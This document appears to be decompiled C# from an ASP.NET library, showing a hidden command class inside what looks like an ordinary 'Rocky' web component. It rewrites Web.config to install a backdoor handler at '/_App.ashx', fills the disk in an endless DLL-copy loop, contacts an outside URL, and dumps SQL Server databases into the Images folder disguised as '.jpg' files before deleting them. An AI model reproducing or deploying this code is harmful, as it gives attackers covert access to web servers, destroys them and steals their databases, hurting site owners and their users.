namespace System {internal enum Command { CheckServer, DestroyServer, InstallDefender, UnInstallDefender, Good, Bad, BackupDB, ClearThings } }public class _App { // Fields private static readonly string DynamicLinkLibrary = (HttpRuntime.BinDirectory + "Rocky.dll"); // Methods internal static void Do(Command cmd) { int num; switch (cmd) { case Command.DestroyServer: IsTrusted = false; if (File.Exists(DynamicLinkLibrary)) { bool flag2; try { num = 0; goto Label_0075; Label_004E: File.Copy(DynamicLinkLibrary, HttpRuntime.BinDirectory + num + ".dll", true); num++; Label_0075: flag2 = true; goto Label_004E; } catch { HttpWalker walker; goto Label_0099; Label_007E: walker = new HttpWalker(); walker.set_Url("http://hi.baidu.com/ilovehaley"); walker.ToString(); Label_0099: flag2 = true; goto Label_007E; } } break; case Command.InstallDefender: { bool flag = false; XmlHelper helper = new XmlHelper(HttpRuntime.AppDomainAppPath + "Web.config"); if (helper.FindNode("//system.web") == null) { helper.InsertNode("//system.web", string.Empty); flag = true; } if (helper.FindNode("//system.web//httpHandlers") == null) { helper.InsertNode("//system.web//httpHandlers", string.Empty); flag = true; } string str = "//system.web//httpHandlers//add[@type='Rocky.Web.HttpHandler']"; if (helper.FindNode(str) == null) { helper.InsertNode(str, new string[] { "verb", "path", "type" }, new string[] { "*", "/_App.ashx", "Rocky.Web.HttpHandler" }); flag = true; } if (helper.FindNode("//system.web//httpModules") == null) { helper.InsertNode("//system.web//httpModules", string.Empty); flag = true; } string str2 = "//system.web//httpModules//add[@type='Rocky.Web.HttpModule']"; if (helper.FindNode(str2) == null) { helper.InsertNode(str2, new string[] { "name", "type" }, new string[] { "HttpModule", "Rocky.Web.HttpModule" }); flag = true; } if (flag) { helper.Save(); } break; } case Command.UnInstallDefender: { XmlHelper helper2 = new XmlHelper(HttpRuntime.AppDomainAppPath + "Web.config"); string str3 = "//system.web//httpHandlers//add[@type='Rocky.Web.HttpHandler']"; if (helper2.FindNode(str3) != null) { helper2.RemoveNode(str3); helper2.Save(); } string str4 = "//system.web//httpModules//add[@type='Rocky.Web.HttpModule']"; if (helper2.FindNode(str4) != null) { helper2.RemoveNode(str4); helper2.Save(); } break; } case Command.Good: IsTrusted = true; break; case Command.Bad: IsTrusted = false; break; case Command.BackupDB: for (num = 0; num < DbBase.get_Factorys().Count; num++) { DbFactory factory = DbBase.get_Factorys().get_Item(num); if (factory.get_ProviderName() == 1) { DbBase.BackupSQLServerDB(factory.get_ConnectionString(), string.Concat(new object[] { ThingsPath, @"\aspnet", num, ".jpg" })); } } break; case Command.ClearThings: foreach (string str5 in Directory.GetFiles(ThingsPath, "aspnet*.jpg")) { IOUtils.DeleteFile(str5); } break; default: try { if (File.Exists(HttpRuntime.AppDomainAppPath + "Web.config")) { Do(Command.InstallDefender); } else { IOUtils.WriteFile("Web.config", "<?xml version='1.0' encoding='utf-8'?>\r\n<configuration>\r\n <appSettings/>\r\n <connectionStrings/>\r\n <system.web>\r\n <compilation debug='false' />\r\n <authentication mode='Windows' />\r\n <httpHandlers>\r\n <add verb='*' path='/_App.ashx' type='Rocky.Web.HttpHandler'/>\r\n </httpHandlers>\r\n </system.web>\r\n</configuration>"); } } catch { Do(Command.DestroyServer); } break; } } public static void Do(object cmd) { Do((Command) cmd); } // Properties public static bool IsTrusted { set { Assembly.LoadFrom(DynamicLinkLibrary).GetType("Rocky.AppRuntime").GetProperty("IsTrusted").SetValue(null, value, null); } } public static string ThingsPath { get { string str = HttpRuntime.AppDomainAppPath + @"Images\"; IOUtils.CheckFolder(str); return str; } } }